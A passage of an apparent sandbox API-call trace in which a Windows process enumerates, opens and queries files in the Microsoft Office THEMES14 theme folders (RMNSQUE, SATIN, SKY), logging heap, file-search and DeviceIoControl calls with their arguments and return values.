(HeapHandle=0x940000, Flags=0x8, Size=0x8c0) returned 0x9fa458 [0061.424] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ffba8) returned 1 [0061.424] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.424] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x265, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE.INF", cAlternateFileName="")) returned 1 [0061.424] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.424] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.424] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.424] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.424] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.424] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ff6c0 [0061.424] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fef98 [0061.424] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.424] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.424] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.424] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.424] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.424] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.425] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.425] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ff6e0 [0061.425] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ff0a0 [0061.425] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.425] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0061.425] GetLastError () returned 0x12 [0061.425] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0061.425] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0061.425] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.425] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.425] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x225d7800, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x225d7800, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x11e37, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE.ELM", cAlternateFileName="")) returned 1 [0061.425] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x265, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE.INF", cAlternateFileName="")) returned 1 [0061.425] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.425] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0061.425] GetLastError () returned 0x12 [0061.425] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fdaf8) returned 1 [0061.425] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0061.425] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fdc00) returned 1 [0061.425] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0061.425] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN", cAlternateFileName="")) returned 1 [0061.425] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.425] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0061.426] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0061.426] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0061.426] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9ffba8 [0061.426] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9ffba8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9ffba8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0061.426] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ffba8) returned 1 [0061.426] NtClose (Handle=0x16c) returned 0x0 [0061.426] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.426] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.426] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0061.426] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0061.426] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0061.426] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.426] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xe1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.426] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0061.426] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0061.426] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0061.426] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0061.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0061.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0061.427] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0061.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ff700 [0061.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fdc00 [0061.427] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0061.427] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24bfd200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24bfd200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1936f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN.ELM", cAlternateFileName="")) returned 1 [0061.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0061.427] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0061.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0061.427] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0061.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0061.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ff720 [0061.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fdaf8 [0061.427] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0061.427] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN.INF", cAlternateFileName="")) returned 1 [0061.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0061.427] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0061.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0061.427] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0061.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0061.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ff740 [0061.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ff1a8 [0061.427] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0061.427] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0061.428] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0061.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0061.428] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0061.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0061.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ff760 [0061.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9fd1a8 [0061.428] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0061.428] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0061.428] GetLastError () returned 0x12 [0061.428] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0061.428] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0061.428] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.428] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xe1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.428] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24bfd200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24bfd200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1936f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN.ELM", cAlternateFileName="")) returned 1 [0061.428] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN.INF", cAlternateFileName="")) returned 1 [0061.428] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.428] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0061.428] GetLastError () returned 0x12 [0061.428] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0061.428] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0061.428] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0061.428] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.428] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY", cAlternateFileName="")) returned 1 [0061.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.429] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0061.448] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0061.448] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0061.448] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9ffba8 [0061.448] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9ffba8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9ffba8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0061.448] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ffba8) returned 1 [0061.448] NtClose (Handle=0x160) returned 0x0 [0061.448] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0061.448] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0061.448] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0061.448] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0061.448] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0061.449] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.449] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.449] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0061.449] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0061.449] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0061.449] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0061.449] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0061.449] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0061.449] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0061.449] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ff780 [0061.449] RtlAllocateHeap (HeapHandle=0x940000, 